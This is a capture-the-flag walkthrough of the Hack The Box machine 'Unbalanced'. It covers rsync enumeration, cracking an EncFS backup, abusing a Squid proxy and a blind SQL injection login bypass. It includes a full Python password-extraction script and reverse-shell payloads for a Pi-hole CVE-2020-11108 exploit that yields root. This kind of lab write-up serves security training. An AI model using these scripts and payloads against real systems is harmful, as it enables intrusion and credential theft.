Unbalanced

Unbalanced icon

Enumeration

Nmap

Started with the following nmap command:

nmap -sV -sC -p 1-10000 -oA nmap.res -v unbalanced.htb


And here is the result

Nmap scan report for unbalanced.htb (10.10.10.200)
Host is up, received conn-refused (0.000054s latency).
Scanned at 2020-11-04 09:22:55 EST for 170628s
Not shown: 9574 closed ports, 423 filtered ports
Reason: 9574 conn-refused, 422 net-unreaches and 1 no-response
PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  tcpwrapped syn-ack
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
873/tcp  open  tcpwrapped syn-ack
3128/tcp open  tcpwrapped syn-ack


We basically have three ports open (22 - SSH, 873 - ???, 3128 - ???). We’ll know about the unidentified ports later.

Rsync

We first check the port 873. Since it wasn’t specified what service it is by the nmap, we can check it ourselves what service it might be running. We can check it here. It turns out this port might be an rsync service. We can quickly check if we can list some directories or files through this command:

rsync --list-only rsync://10.10.10.200:873/


After the execution, we are able to list a directory!

conf_backups   	EncFS-encrypted configuration backups


Let’s download the contents.

Retrieving “conf_backups”

We can retrieve the “conf_backups” through this command:

mkdir conf_backups
cd conf_backups
rsync -a rsync://10.10.10.200:873/conf_backups ./


After that, we can list the contents of the directory. However, it seems the files are gibberish.

rsync/conf_backups$ ls -la
total 632
drwxr-xr-x 2 altelus altelus   4096 Apr  4  2020 .
drwxr-xr-x 5 altelus altelus   4096 Nov  4 10:40 ..
-rw-r--r-- 1 altelus altelus    154 Apr  4  2020 0K72OfkNRRx3-f0Y6eQKwnjn
-rw-r--r-- 1 altelus altelus     56 Apr  4  2020 27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
-rw-r--r-- 1 altelus altelus    190 Apr  4  2020 2VyeljxHWrDX37La6FhUGIJS
-rw-r--r-- 1 altelus altelus    537 Apr  4  2020 3cdBkrRF7R5bYe1ZJ0KYy786
-rw-r--r-- 1 altelus altelus    386 Apr  4  2020 3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1
-rw-r--r-- 1 altelus altelus    560 Apr  4  2020 3xB4vSQH-HKVcOMQIs02Qb9,
-rw-r--r-- 1 altelus altelus    275 Apr  4  2020 4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1
-rw-r--r-- 1 altelus altelus    463 Apr  4  2020 5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt,
-rw-r--r-- 1 altelus altelus   2169 Apr  4  2020 5FTRnQDoLdRfOEPkrhM2L29P
-rw-r--r-- 1 altelus altelus    238 Apr  4  2020 5IUA28wOw0wwBs8rP5xjkFSs
-rw-r--r-- 1 altelus altelus   1277 Apr  4  2020 6R1rXixtFRQ5c9ScY8MBQ1Rg
-rw-r--r-- 1 altelus altelus    108 Apr  4  2020 7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA,
-rw-r--r-- 1 altelus altelus   1339 Apr  4  2020 7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1
-rw-r--r-- 1 altelus altelus   1050 Apr  4  2020 8CBL-MBKTDMgB6AT2nfWfq-e
-rw-r--r-- 1 altelus altelus     29 Apr  4  2020 8e6TAzw0xs2LVxgohuXHhWjM
-rw-r--r-- 1 altelus altelus    152 Apr  4  2020 8XDA,IOhFFlhh120yl54Q0da
-rw-r--r-- 1 altelus altelus   5721 Apr  4  2020 9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0
-rw-r--r-- 1 altelus altelus   2980 Apr  4  2020 A4qOD1nvqe9JgKnslwk1sUzO
...
...
-rw-r--r-- 1 altelus altelus   1268 Apr  4  2020 dNTEvgsjgG6lKBr8ev8Dw,p7
-rw-r--r-- 1 altelus altelus   2359 Apr  4  2020 ECXONXBBRwhb5tYOIcjjFZzh
-rw-r--r-- 1 altelus altelus   1297 Apr  2  2020 .encfs6.xml
-rw-r--r-- 1 altelus altelus   1464 Apr  4  2020 F4F9opY2nhVVnRgiQ,OUs-Y0
-rw-r--r-- 1 altelus altelus    354 Apr  4  2020 FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
-rw-r--r-- 1 altelus altelus    135 Apr  4  2020 -FjZ6-6,Fa,tMvlDsuVAO7ek
-rw-r--r-- 1 altelus altelus   3275 Apr  4  2020 FSXWRSwW6vOvJ0ExPK0fXJ6F
-rw-r--r-- 1 altelus altelus    422 Apr  4  2020 gK5Z2BBMSh9iFyCFfIthbkQ6
...
...


Of all these, there is only one file that is readable and it’s .encfs6.xml. It turns out this is an EncFs.

EncFS is a userspace stackable cryptographic file-system similar to eCryptfs,

- Wiki Archlinux


We need somehow to decrypt and mount this filesystem to be used.

Cracking the encrypted “conf_backups”

We can crack the encrypted filesystem by using encfs2john to format a file that will be compatible to john the ripper.

Using “encfs2john” to generate hash

Using the encfs2john, we need to point the name of the directory of the encrypted filesystem (conf_backups in this case). Then, we have to output in a file:

/usr/share/john/encfs2john.py conf_backups/ > encfs.crackable


And then, we proceed with cracking it using john the ripper

sudo john --wordlist /usr/share/wordlists/rockyou.txt encfs.crackable --format=encfs


After waiting, JTR has actually found the password:

Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 AVX 4x AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

bubblegum        (conf_backups/)
1g 0:00:02:07 DONE (2020-12-05 09:27) 0.007865g/s 18.37p/s 18.37c/s 18.37C/s loveya..puppies


Password is bubblegum. We now have to mount it

Mounting the decrypted “conf_backups”

We can edit /etc/fstab then use mount command to mount the EncFS.

# /etc/fstab: static file system information.
...
...
...
# the settings below is appended
encfs#/home/altelus/HTB/boxes/Unbalanced/enums/rsync/conf_backups	/mnt/decr_conf_backups	fuse	noauto,user	0	0


More info here
Then we proceed to mounting

$ sudo mount /mnt/decr_conf_backups/
EncFS Password:


Enter the password upon mount. Let’s check if it worked by visiting /mnt/decr_conf_backups

cd /mnt/decr_conf_backups/
ls -lart
total 628
-rw-r--r-- 1 altelus altelus    246 Apr  4  2020 dconf
-rw-r--r-- 1 altelus altelus    100 Apr  4  2020 x86_64-linux-gnu.conf
-rw-r--r-- 1 altelus altelus     44 Apr  4  2020 libc.conf
-rw-r--r-- 1 altelus altelus     38 Apr  4  2020 fakeroot-x86_64-linux-gnu.conf
-rw-r--r-- 1 altelus altelus    435 Apr  4  2020 logrotate.conf
-rw-r--r-- 1 altelus altelus    332 Apr  4  2020 ldap.conf
-rw-r--r-- 1 altelus altelus    144 Apr  4  2020 kernel-img.conf
-rw-r--r-- 1 altelus altelus   4491 Apr  4  2020 main.conf
-rw-r--r-- 1 altelus altelus    120 Apr  4  2020 network.conf
-rw-r--r-- 1 altelus altelus    927 Apr  4  2020 input.conf
-rw-r--r-- 1 altelus altelus    604 Apr  4  2020 deluser.conf
-rw-r--r-- 1 altelus altelus    414 Apr  4  2020 user-dirs.conf
-rw-r--r-- 1 altelus altelus    280 Apr  4  2020 fuse.conf
-rw-r--r-- 1 altelus altelus     87 Apr  4  2020 resolv.conf
-rw-r--r-- 1 altelus altelus    195 Apr  4  2020 modules.conf
-rw-r--r-- 1 altelus altelus     34 Apr  4  2020 ld.so.conf
-rw-r--r-- 1 altelus altelus   2584 Apr  4  2020 gai.conf
...
-rw-r--r-- 1 altelus altelus   1260 Apr  4  2020 ucf.conf
-rw-r--r-- 1 altelus altelus   1628 Apr  4  2020 system.conf
-rw-r--r-- 1 altelus altelus   2041 Apr  4  2020 semanage.conf
-rw-r--r-- 1 altelus altelus    510 Apr  4  2020 nsswitch.conf
-rw-r--r-- 1 altelus altelus    281 Apr  4  2020 udev.conf
-rw-r--r-- 1 altelus altelus 316553 Apr  4  2020 squid.conf
-rw-r--r-- 1 altelus altelus    230 Apr  4  2020 debian.conf
-rw-r--r-- 1 altelus altelus   5713 Apr  4  2020 ca-certificates.conf
-rw-r--r-- 1 altelus altelus   2179 Apr  4  2020 time.conf
-rw-r--r-- 1 altelus altelus    419 Apr  4  2020 sepermit.conf
-rw-r--r-- 1 altelus altelus   2972 Apr  4  2020 pam_env.conf
...
...


The files are finally decrypted! We just have to copy the files so that we don’t have to mount it again.

Squid HTTP Proxy

Another port that we are not familiar with is the port 3128. It turns out it is a Squid Proxy. We can check it here. We actually have seen a squid.conf file in our decrypted files earlier. Let’s check it.

Squid configuration file

Upon opening the squid.conf, there are quite a number of interesting things

Cachemgr_passwd section

...
#Default:
# No password. Actions which require password are denied.
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
...


According to squid-cach.org, we actually have another password.
image cachemgr_passwd
We should be able access the squid’s cache management system with this password.

Allowed to access internal servers

It is defined at line 1410 which domains or ips are allowed to be accessed through http:

$ tail -n+1410 squid.conf | head -n 10

# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net
...


As we can see, through the domain name, we can only access intranet.unbalanced.htb. Let’s access it.

Setting our proxy (FoxyProxy is used here)

But before accessing, let’s set our http proxy to the squid. Here is my FoxyProxy settings
FoxyProxy settings
After setting the proxy up, let’s access the intranet:
login page
It’s a login page! We will come back to it later. Remember that we are not only given with accessible domain but also with accessible range of IP. We also need to check them first

Squid Management Enumeration

Let’s now check the actions we can do with the squid cache manager with the password we have (password: Thah$Sh1). Let’s use the squidclient cli to tinker with the squid cache manager.
Let’s check first the menu.

squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Sat, 05 Dec 2020 15:38:38 GMT
Content-Type: text/plain;charset=utf-8
Expires: Sat, 05 Dec 2020 15:38:38 GMT
Last-Modified: Sat, 05 Dec 2020 15:38:38 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close

 index                 	Cache Manager Interface         	disabled
 menu                  	Cache Manager Menu              	protected
 offline_toggle        	Toggle offline_mode setting     	disabled
 shutdown              	Shut Down the Squid Process     	disabled
 reconfigure           	Reconfigure Squid               	disabled
 rotate                	Rotate Squid Logs               	disabled
 pconn                 	Persistent Connection Utilization Histograms	protected
 mem                   	Memory Utilization              	protected
 ...
 ...
 cbdata                	Callback Data Registry Contents 	protected
 sbuf                  	String-Buffer statistics        	protected
 events                	Event Queue                     	protected
 netdb                 	Network Measurement Database    	disabled
 asndb                 	AS Number Database              	disabled
 ...


As we can see, our access is pretty limited. What we can access here (with “protected”) is also defined in the squid.conf that we retrieved earlier. Let’s start checking them

Squid “fqdncache” to check any internal server

After a lot of checking, the action that should give us the most valuable info is the “fqdncache”.

$ squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
...
...

Address                                       Flg TTL Cnt Hostnames
127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
127.0.0.1                                       H -001   1 localhost
172.17.0.1                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters


We can see here that there are more domain to IP mapping are present for internal servers! We should also notice that there is the intranet.unbalanced.htb that we are allowed to access as it is, a domain name, earlier at squid.conf. Also notice the intranet-host[2-3].unbalanced.htb domain names are not defined in squid.conf! But they are technically allowed through the allowed IP address range.

Intranet Login

Let’s go back to the intranet login. Let’s just put “admin” as username and “password” as credentials just to check its behavior.
login with data
After submitting, nothing seems to happen. It’s as if the intranet login portal did not respond to our login. No prompt if we got the credentials correct or not. Let’s check the http response headers.
http headers
Notice that the responding server is the intranet-host2.unbalanced.htb and not intranet.unbalanced.htb. It might mean that the infrastructure may be using Load Balancer to pass the requests from the intranet.unbalanced.htb to the other servers which are intranet-host2.unbalanced.htb and intranet-host3.unbalanced.htb. However, if there is host2 and host3, there must be a host1. Let’s try accessing that.

Accessing “intranet-host1.unbalanced.htb”

The domain name itself is not defined but remember that we can access the servers themselves through the IP address since we are allowed by Squid http proxy. If 172.31.179.2 = intranet-host2.unbalanced.htb and 172.31.179.3 = intranet-host3.unbalanced.htb, then there is a high possibility that 172.31.179.1 = intranet-host1.unbalanced.htb. Let’s access the 172.31.179.1
host1
Host1 actually exists! However, there is no intranet login. One step back, we can see that the url changes when we try to access intranet.unbalanced.htb. We are being redirected to /intranet.php
intranet.php
Now let’s just try accessing the intranet.php in 172.31.179.1. (http://172.31.179.1/intranet.php)
After accessing, indeed the intranet.php page exists but there seems to be no difference than the other servers. Let’s now try logging in and check if we can now receive a different response this time. (still “admin” as username and “password” as password)
invalid creds
There is now a login response! Let’s now tinker this login form if it has a vulnerability or if we can use our credentials earlier (although we don’t have a legitimate username)

Blind SQLi against server 172.31.179.1 Form

We first need to fuzz for SQL Injection vulnerability that might be existing in the form. We will be using burp in this.
Let’s first set our Upstream Proxy Servers to Squid Proxy(10.10.10.200 - 3128)
target proxy
Then let’s intercept the login and then send to Repeater
repeater
After we send it to Repeater, paste the whole requests to Intruder -> Positions
ip
Then we will get our SQLi fuzz list from here. Then past it to Intruder -> Payloads
sfd
Then we can “Start Attack”. After it is finished, we will be checking the length of response.
length
Out of these, there are only 3 lengths: 7079, 7185, and 7852. We are of most concern with with the largest since if we managed to leak data, it goes to say that the length of data expected to be received is also larger or longer. So let’s check the response of the intranet login portal by redoing the payload at Password (remember the position at the left - it is a value of 2) in the login page with payload 1’or’1’=’1.
pass

Leaking passwords for every user

From the payload we have used, we know that the resulting query is true since it is leaking all the usernames and false when the data length is low. We can leak the password by having a conditional: <nth character of Password = x> AND Username=<username>. This will convert to the following blind sqli payload: ’ or substring(Password, {}, 1) = {} and Username=’{}’ and ‘a. I created a python script to automate it.

import string
import sys
import requests


proxies = {
    "http" : "http://10.10.10.200:3128"
}

def blind_attack(user, printable, pass_index):

    global proxies

    if printable == "'":
        char = '"\'"'
    else:
        char = "'{}'".format(printable)


    exploit_str = "' or substring(Password, {}, 1) = {} and Username='{}' and 'a".format(pass_index, char, user)


    data = {
        "Username" : user,
        "Password" : exploit_str
    }

    resp = requests.post("http://172.31.179.1/intranet.php", data=data, proxies=proxies)

    if "Invalid" in resp.text:
        return False

    return printable

def print_status(user, accumulated, current, total, curr_char):
    print("[{} - {}] {} --> {}/{}".format(user, curr_char, accumulated, current, total), end="\r")

user_file = sys.argv[1]


with open(user_file, "r") as rf:
    users = rf.read().strip().split("\n")

accumulated_pass = {}

for user in users:

    accumulated_pass[user] = ""
    pass_index = 1

    count = 0

    while count < len(string.printable[:-5]):

        print_status(user,accumulated_pass[user], count+1, len(string.printable[:-5]), string.printable[count])

        printable = string.printable[count]
        ret_char = blind_attack(user, printable, pass_index)

        if ret_char != False:
            accumulated_pass[user] += ret_char
            pass_index += 1
            count = 0
            continue

        count += 1

    print("")


print(accumulated_pass)


We managed to leak usernames! Nice! However, we can take this further by leaking the passwords. We can get the usernames as a list. We can run the code as follows:

$ python3 blind.py usernames.txt
[rita -  ] password01! --> 95/95
[jim -  ] stairwaytoheaven --> 95/95
[bryan -  ] ireallyl0vebubblegum!!! --> 95/95
[sarah -  ] sarah4evah --> 95/95


We now have our passwords! Let’s use them with the ssh!

User Bryan

The one that worked was actually bryan’s (bryan:ireallyl0vebubblegum!!!)

$ ssh bryan@unbalanced.htb
bryan@unbalanced.htb's password:
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec  5 07:36:55 2020 from 10.10.14.33
bryan@unbalanced:~$


At this point, we can get the user flag.

bryan@unbalanced:~$ ls -la
total 32
drwxr-xr-x 3 bryan bryan 4096 Jun 17 11:35 .
drwxr-xr-x 3 root  root  4096 Jun 17 11:35 ..
lrwxrwxrwx 1 root  root     9 Apr  3  2020 .bash_history -> /dev/null
-rw-r--r-- 1 bryan bryan  220 Apr  2  2020 .bash_logout
-rw-r--r-- 1 bryan bryan 3526 Apr  2  2020 .bashrc
drwx------ 3 bryan bryan 4096 Apr  2  2020 .gnupg
-rw-r--r-- 1 bryan bryan  807 Apr  2  2020 .profile
-rw-r--r-- 1 bryan bryan  798 Jun 17 11:35 TODO
-rw-r--r-- 1 root  root    33 Dec  5 06:48 user.txt
bryan@unbalanced:~$

Bryan’s Home “TODO”

Once at the home directory, there is an interesting file named “TODO”

bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
bryan@unbalanced:~$


Bryan is setting up Pi-hole. We can check if the Pi-hole is still up or accepting connections

Check if PiHole is open and operating

Open ports looking for Pi-Hole

Since netstat is not available, we can use ss -lnt command. -l is for listening, -n is for numbers only, and -t is for tcp;

bryan@unbalanced:~$ ss -lnt
State                 Recv-Q                 Send-Q                                 Local Address:Port                                 Peer Address:Port                
LISTEN                0                      5                                            0.0.0.0:873                                       0.0.0.0:*                   
LISTEN                0                      128                                        127.0.0.1:8080                                      0.0.0.0:*                   
LISTEN                0                      128                                        127.0.0.1:5553                                      0.0.0.0:*                   
LISTEN                0                      32                                           0.0.0.0:53                                        0.0.0.0:*                   
LISTEN                0                      128                                          0.0.0.0:22                                        0.0.0.0:*                   
LISTEN                0                      128                                                *:3128                                            *:*                   
LISTEN                0                      5                                               [::]:873                                          [::]:*                   
LISTEN                0                      32                                              [::]:53                                           [::]:*                   
LISTEN                0                      128                                             [::]:22                                           [::]:*                   
bryan@unbalanced:~$


There seems to be an port 8080, might be a webpage or the Pi-hole web UI. Let’s do a quick curl.

bryan@unbalanced:~$ curl http://localhost:8080 ; echo
[ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>
bryan@unbalanced:~$


It is responding to http. Let’s use the SSH tunneling.

Using SSH tunneling for http port 8080

$ ssh bryan@unbalanced.htb -L 8080:127.0.0.1:8080 -N
bryan@unbalanced.htb\'s password:


Let’s now access it through the browser.
pihole
It turns out we need to append “/admin” to get to pi-hole admin interface. SOURCE
pihole login

Pi-hole Login

After appending the “/admin” we should now be able to get to login page admin by clicking on the login from the left side.
pihole login
Let’s try “admin” for password.
pihole admin
LOL it worked!

Pi-hole exploit - CVE-2020-11108

After logging in and a little bit of searching, it turns out there is a Pi-hole exploit available for versions below 4.4. Checking the current version:
pihole version
This version is vulnerable!

Getting the PHPSESSID

We have to get first the PHPSESSID from the cookies assigned to use by the server. It will be needed by the POC
pihole phpsessid

Changed payload from python3 to bash

After downloading the exploit and execute it, no response from the server. So I had changed the payload from python3 to bash

...
# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.
#shell_payload = """<?php
#  shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
#?>
#""" %(LOCAL_IP, LOCAL_PORT)

shell_payload = """<?php
  $sock=fsockopen("{}",{});
  exec("bash -i <&3 >&3 2>&3");
?>
""".format(LOCAL_IP, LOCAL_PORT)
...


Save it and then reexecute the code. Just make sure that there is a listener on our side. I used netcat for it. The execution of exploit with new payload:

sudo python3 48443_orig.py 7bfnctcni8uou4c0sb9davv863 'http://localhost:8080' 10.10.14.33 40000
[+] Put Root Stager Success
[+] Received First Callback
[+] Received Second Callback
[+] Uploading Root Payload
[+] Put Shell Stager Success
[+] Received Third Callback
[+] Received Fourth Callback
[+] Uploading Shell Payload
[+] Triggering Exploit


And this is what will be expected on the listener side

$ nc -lvp 40000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::40000
Ncat: Listening on 0.0.0.0:40000
Ncat: Connection from 10.10.10.200.
Ncat: Connection from 10.10.10.200:39560.
bash: cannot set terminal process group (527): Inappropriate ioctl for device
bash: no job control in this shell
root@pihole:/var/www/html/admin/scripts/pi-hole/php# whoami
whoami
root

Pi-hole Docker as root

Even though we are root, this is not the actual host. So we need to enumerate for leverage.

Getting password from pi-hole config in home

At the home directory of root there is a config file containing a password.

root@pihole:/var/www/html/admin/scripts/pi-hole/php# cd
cd
root@pihole:~# ls -la
ls -la
total 132
drwxrwxr-x 1 root root   4096 Apr  5  2020 .
drwxr-xr-x 1 root root   4096 Jul 30 05:13 ..
lrwxrwxrwx 1 root root      9 Apr  4  2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root    570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root    148 Aug 17  2015 .profile
-rw-r--r-- 1 root root 113876 Sep 20  2019 ph_install.sh
-rw-r--r-- 1 root root    485 Apr  6  2020 pihole_config.sh
root@pihole:~# cat pihole_config.sh
cat pihole_config.sh
#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb
root@pihole:~#


The password is bUbBl3gUm$43v3Ry0n3!. Let’s try using it to login as root against the host machine.

SU Login to root from bryan

Let’s try logging in as bryan first then switch user to root.

$ ssh bryan@unbalanced.htb
bryan@unbalanced.htb's password:
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec  5 13:23:22 2020 from 10.10.14.33
bryan@unbalanced:~$ su root
Password:
root@unbalanced:/home/bryan# cd
root@unbalanced:~# ls -la
total 36
drwx------  6 root root 4096 Apr  6  2020 .
drwxr-xr-x 18 root root 4096 Jun 17 14:08 ..
lrwxrwxrwx  1 root root    9 Apr  3  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Apr  3  2020 .config
drwx------  3 root root 4096 Apr  2  2020 .gnupg
drwxr-xr-x  3 root root 4096 Apr  3  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   33 Dec  5 06:48 root.txt
drwx------  2 root root 4096 Apr  6  2020 .ssh
root@unbalanced:~#


We now have pwned the machine! Thank you for reading :D

Sources: